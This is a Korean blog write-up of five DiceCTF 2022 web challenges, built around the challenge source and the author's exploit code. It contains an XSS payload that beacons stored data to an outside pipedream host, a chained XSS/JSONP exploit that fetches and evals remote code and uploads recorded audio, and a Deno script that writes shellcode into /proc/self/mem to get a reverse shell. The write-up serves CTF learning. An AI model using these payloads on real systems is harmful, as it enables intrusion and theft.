Profile

i love cat

as3617

DiceCTF 2022 web writeup

web 5문제 밖에 못 풀었다.

knock-knock

const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

코드를 주는데 flag를 얻으려면 id와 token값을 알맞게 줘야한다.
일단 id는 0일거고 token값을 구해야하는데 잘보면 token을 생성할 때 사용하는 secret이 뭔가 이상하다.

this.secret = `secret-${crypto.randomUUID}`;

crypto.randomUUID는 함수라서 secret 값은 매번 고정일 수 밖에 없다. 그럼 token값을 구할 수 있고 그대로 플래그 뽑아주면 된다.

FLAG : dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

blazingfast

filter를 잘 우회해서 xss를 하면 된다.

let blazingfast = null;

function mock(str) {
    blazingfast.init(str.length);

    if (str.length >= 1000) return 'Too long!';

    for (let c of str.toUpperCase()) {
        if (c.charCodeAt(0) > 128) return 'Nice try.';
        blazingfast.write(c.charCodeAt(0));
    }

    if (blazingfast.mock() == 1) {
        return 'No XSS for you!';
    } else {
        let mocking = '', buf = blazingfast.read();

        while(buf != 0) {
            mocking += String.fromCharCode(buf);
            buf = blazingfast.read();
        }

        return mocking;
    }
}

function demo(str) {
    document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {    
    blazingfast = instance.exports;

    document.getElementById('demo-submit').onclick = () => {
        demo(document.getElementById('demo').value);
    }

    let query = new URLSearchParams(window.location.search).get('demo');

    if (query) {
        document.getElementById('demo').value = query;
        demo(query);
    }
})
// blazingfast.c
int length, ptr = 0;
char buf[1000];

void init(int size) {
    length = size;
    ptr = 0;
}

char read() {
    return buf[ptr++];
}

void write(char c) {
    buf[ptr++] = c;
}

int mock() {
    for (int i = 0; i < length; i ++) {
        if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
            buf[i] += 32;
        }

        if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
            return 1;
        }
    }

    ptr = 0;

    return 0;
}

wasm 코드를 보면 우리가 입력한 데이터에 <,>,&,"가 있으면 지워버린다.
저 부분만 잘 우회하면 되는데 javascript의 mock함수에 취약점이 있다.

function mock(str) {
    blazingfast.init(str.length);

    if (str.length >= 1000) return 'Too long!';

    for (let c of str.toUpperCase()) {
        if (c.charCodeAt(0) > 128) return 'Nice try.';
        blazingfast.write(c.charCodeAt(0));
    }

    if (blazingfast.mock() == 1) {
        return 'No XSS for you!';
    } else {
        let mocking = '', buf = blazingfast.read();

        while(buf != 0) {
            mocking += String.fromCharCode(buf);
            buf = blazingfast.read();
        }

        return mocking;
    }
}

코드를 보면 처음 전달받은 data의 길이로 init을 하고 해당 data를 toUpperCase하는데 이때 취약점이 발생한다.

image

toUpperCase하고 나면 data의 전체 길이가 증가하므로 필터를 우회하여 원하는 태그를 삽입할 수 있다.

그럼 이제 페이로드 작성하고 xss로 플래그를 읽어오면 된다.

ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=&#x6E;&#x61;&#x76;&#x69;&#x67;&#x61;&#x74;&#x6F;&#x72;&#x2E;&#x73;&#x65;&#x6E;&#x64;&#x42;&#x65;&#x61;&#x63;&#x6F;&#x6E;&#x28;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x65;&#x6E;&#x6C;&#x6C;&#x77;&#x74;&#x32;&#x75;&#x67;&#x71;&#x72;&#x74;&#x2E;&#x78;&#x2E;&#x70;&#x69;&#x70;&#x65;&#x64;&#x72;&#x65;&#x61;&#x6D;&#x2E;&#x6E;&#x65;&#x74;&#x2F;&#x66;&#x6C;&#x61;&#x67;&#x22;&#x2C;&#x6C;&#x6F;&#x63;&#x61;&#x6C;&#x53;&#x74;&#x6F;&#x72;&#x61;&#x67;&#x65;&#x2E;&#x67;&#x65;&#x74;&#x49;&#x74;&#x65;&#x6D;&#x28;&#x27;&#x66;&#x6C;&#x61;&#x67;&#x27;&#x29;&#x29;>
FLAG : dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

noteKeeper

이번에도 xss문제다.
username에 임의의 태그를 삽입할 수 있는데 회원가입할 때 길이 제한이 걸려있다.

router.post("/register", async (req, res) => {
    let { username, password } = req.body;

    if(db.hasUser(username)) {
        utils.alert(req, res, "danger", `A user already exists with username ${username}`);
        return res.redirect("/");
    }

    if(username.length > 16) {
        utils.alert(req, res, "danger", "Invalid username");
        return res.redirect("/");
    }
    if(password.length < 5) {
        utils.alert(req, res, "danger", "Please choose a longer password");
        return res.redirect("/");
    }

    await db.addUser(username, password);

    jwt.signData(res, username, { msg: "Registered successfully", type: "primary" });
    res.redirect("/home");
});

이건 간단하게 우회할 수 있는데

app.use(express.urlencoded({ extended: false }))

로 설정되있기 때문에 아래와 같이 보내면 길이 제한을 우회하고 임의의 태그를 삽입할 수 있다.

username=<asdfasdfasdfadsfaasdf>&username=<asdfasdfffasdfasdf>&password=dudedsfsdfdsfa

하지만 csp가 걸려있다.

app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", `
        script-src 'self';
        object-src 'none';
        frame-src 'none';
        frame-ancestors 'none';
    `.trim().replace(/\s+/g, " "));
    console.log(req.user, req.originalUrl);
    next();
})

script-src가 self라서 서버에 js를 업로드한 다음 script src로 땡겨서 실행한다거나 해야하는데

    if(req.header('Sec-Fetch-Dest') !== "audio" || req.header('Sec-Fetch-Site') !== "same-origin") {

audio파일에 접근할 때 header 검증이 있어서 불가능하지만 코드를 보다보면 jsonp의 callback을 우리가 컨트롤 할 수 있다.
또한 api 쪽엔 csp가 안 걸려있다. 그럼 함수를 실행할 때 document.write를 이용해서 /api 쪽에 우리가 원하는 data를 작성하고 거기서 스크립트를 실행하면 될 것 같다.
그리고 hint.js를 보면 봇의 동작이 좀 이상하다.

await page.setCookie({
            name: 'session',
            value: JWT,
            domain: new URL(SITE).host,
            httpOnly: true
        });
        await page.goto(SITE + "/home");
        await page.waitForTimeout(4000);

        // looks good to me!!

        await page.evaluate(() => {
            document.querySelector("#logout") && document.querySelector("#logout").click();
        });

대놓고 user interaction을 만들어 줬다.

https://stackoverflow.com/questions/51543595/get-a-stream-of-bytes-from-navigator-mediadevices-getusermedia

필요한 건 다 구했으니 payload를 작성해주면 된다.

payload

a.html

<html>
    <head>
    </head>
    <body>
        <div id="atk"></div>
        <script>
            const target = "https://notekeeper.mc.ax"

            if(window.name=='fuck'){
                atk.innerHTML = `
                    <form id=gg method=POST><input id=zerowtf name='username'/><input name=username value=fuck/><input name=password value=ffffffff213123123></form>
                `
                gg.action = target+'/api/register'
                zerowtf.value = `<img src=1 onerror="fetch(\`https://enyqumcx4ddf7on.m.pipedream.net/\`).then(r=>r.text()).then(r=>eval(r));"><iframe srcdoc='<script/src=/api/user/info?callback=top.opener.document.write><\/script>'></iframe>${Math.random()}`
                setTimeout(()=>{
                    gg.submit()
                },1000)
            } else if( window.name == 'ff'){
                window.open("?","fuck")
                setTimeout(()=>{
                    document.location = target+'/api/alerts/list'
                },400)
            } else {
                window.open('?','ff')
                document.location = target

            }
        </script>
    </body>
</html>

ex.js

setInterval(()=>{
if(top.opener.fuckme){
   return
}
top.opener.document.body.innerHTML = \`
<audio id='fa' controls>
  <source src="/api/audio/file?1644066324242" type="audio/mpeg" >
</audio>
<button id="logout">dsfdf</button><img id=fuckme>\`
console.log('done')

top.opener.logout.onclick = ()=>{
    stream = top.opener.fa.captureStream(25)
    mediaRecorder = new MediaRecorder(stream);
        mediaRecorder.ondataavailable = function(e) {
            console.log(window.URL.createObjectURL(e.data));
            console.log(e.data)
            var fd = new FormData();
            fd.append('upl', e.data, 'blobby.txt');
            fetch('https://enllwt2ugqrt.x.pipedream.net/',{method:'POST',body:atob(fd)})
        }
        mediaRecorder.start();
        top.opener.fa.play()
        setTimeout(()=>{
            mediaRecorder.stop();
        },10000)
}
},10)
FLAG : dice{jsonp_how_could_you_do_all_they_~~

flag가 mp3로 되있어서 듣기 힘들다. 암튼 잘 나온다.

dicevault

언인텐으로 풀었다.

<script>
a = window.open('https://dicevault.mc.ax/')
setTimeout(()=>{a.location=('http://myserver')},200)
</script>
const express = require('express')
const app = express()

app.get('/*',(req,res)=>{
        console.log(req.url)
        res.send(`<a href="./1/" type="button" class="btn vault vault-1">⚀</a><a href="./2/" type="button" class="btn vault vault-2">⚁</a><a href="./3/" type="button" class="btn vault vault-3">⚂</a><a h>
})

app.listen(9002)

어이가 없다.

denoblog

퍼블 딴 건데 굉장히 재밌다.

import { serve } from "https://deno.land/std/http/server.ts";
import * as cookie from "https://deno.land/std/http/cookie.ts";

import * as dejs from "https://deno.land/x/dejs/mod.ts";

const port = 8080;

const handler = async (req: Request): Promise<Response> => {
  let lang = cookie.getCookies(req.headers)["lang"] ?? "en";

  let body = await dejs.renderFileToString("./views/index.ejs", { lang });

  let headers = new Headers();
  headers.set("content-type", "text/html");

  return new Response(body, { headers, status: 200 }); 
};

console.log("[app] server now listening for connections...");
await serve(handler, { port });
<% await include(`./langs/${lang}`); %>
<!DOCTYPE html>
<html>
<head>
    <title>denoblog</title>
    <link rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.classless.min.css">
</head>
<body>
    <main>
        <hgroup>
            <h1>denoblog</h1>
            <h2><%= i18n.HEADER %></h2>
        </hgroup>
        <nav>
            <ul>
                <li><%= i18n.SWITCH_LANG %></li>
                <li><a href="javascript:document.cookie = 'lang=en'; location.reload();">English</a></li>
                <li><a href="javascript:document.cookie = 'lang=es'; location.reload();">Español</a></li>
            </ul>
          </nav>
        <hr />
        <%= i18n.COMING_SOON %>
    </main>
</body>
</html>

cookie값을 전달해줄 때 path traversal이 발생해서 임의의 파일을 땡겨올 수 있다.
마침 문제에서 nginx를 쓰고 있기 때문에 이전에 hxp ctf의 includers_revenge문제 풀 때 썼던거 그대로 돌려준다음
nginx request buffer를 include하게 해줬는데 deno에 있는 보안 옵션 때문에 command를 실행할 수 없었다.

PermissionDenied: Requires run access to "echo", run again with the --allow-run flag
    at Object.opSync (deno:core/01_core.js:149:12)
    at opRun (deno:runtime/js/40_process.js:27:17)
    at Object.run (deno:runtime/js/40_process.js:114:17)
    at eval (eval at <anonymous> (file://$deno$/bundle.js:1130:23), <anonymous>:4:39)
    at eval (eval at <anonymous> (file://$deno$/bundle.js:1130:23), <anonymous>:6:9)
    at file://$deno$/bundle.js:1131:13
    at new Promise (<anonymous>)
    at file://$deno$/bundle.js:1117:15
    at renderFileToString (file://$deno$/bundle.js:1214:12)
    at async renderFile (file://$deno$/bundle.js:1217:20)

rce를 할 수 없었기 때문에 삽질만하다가 Dockerfile에서 흥미로운 것을 찾았다.

RUN deno compile --allow-read --allow-write --allow-net app.ts

write와 read가 허용되있었다. 단순히 파일 쓰기와 읽기는 별 소용이 없다.
하지만 이전에 N1CTF의 qqqueryyy문제를 풀 때도 이용했는데 /proc/self/mem에 임의의 데이터를 쓰는 것이 가능하다면 이야기는 달라진다.
/proc/self/maps에서 r,x권한이 있는 영역 주소 가져와서 해당 메모리에 쉘코드를 작성한다면 system 명령을 실행하는 것이 가능해진다.

그래서 곧바로 payload를 작성해줬고 서버로 업로드한 다음 cookie값을 조작하여 include시켜주니 곧 reverse shell을 얻을 수 있었다.

const data = await Deno.readTextFile("/proc/self/maps");
console.log(data);
const maps = data.split('\n');
for (var ent in maps) {
    var q = maps[ent].split(" ")
    var g = q[1]
    if (g && g[2] == "x" && g[0] == "r" && maps[ent].indexOf("app") > -1) {
        var startAddr = parseInt(q[0].split("-")[0], 16)
        console.log("0x"+startAddr.toString(16));
        var endAddr = parseInt(q[0].split("-")[1], 16)
        console.log("0x"+endAddr.toString(16));
        var startAddr = endAddr - 0x20000
        var shellcode = REVERSE_SHELLCODE
        var len = 0x1000 - shellcode.length;
        var b = []
        for (var i = 0; i < len; i++) {
            b[i] = 0x90
        }

        for (var i = 0; i < shellcode.length; i++) {
            b[len + i] = shellcode[i]
        }
        const file2 = Deno.openSync("/proc/self/mem", {
            write: true
        });
        Deno.seekSync(file2.rid, startAddr, Deno.SeekMode.Start)
        console.log(Deno.writeSync(file2.rid, new Uint8Array(b)));
    }
}

'web hacking' 카테고리의 다른 글

url parser confusing  (0) 2022.08.03
hayyim CTF 2022 web writeup  (0) 2022.02.13
leak data via http gzip compression  (0) 2021.09.28
Weird Javascript  (3) 2021.08.29
DarkCON CTF web Writeup - DarkCON Challs  (0) 2021.02.21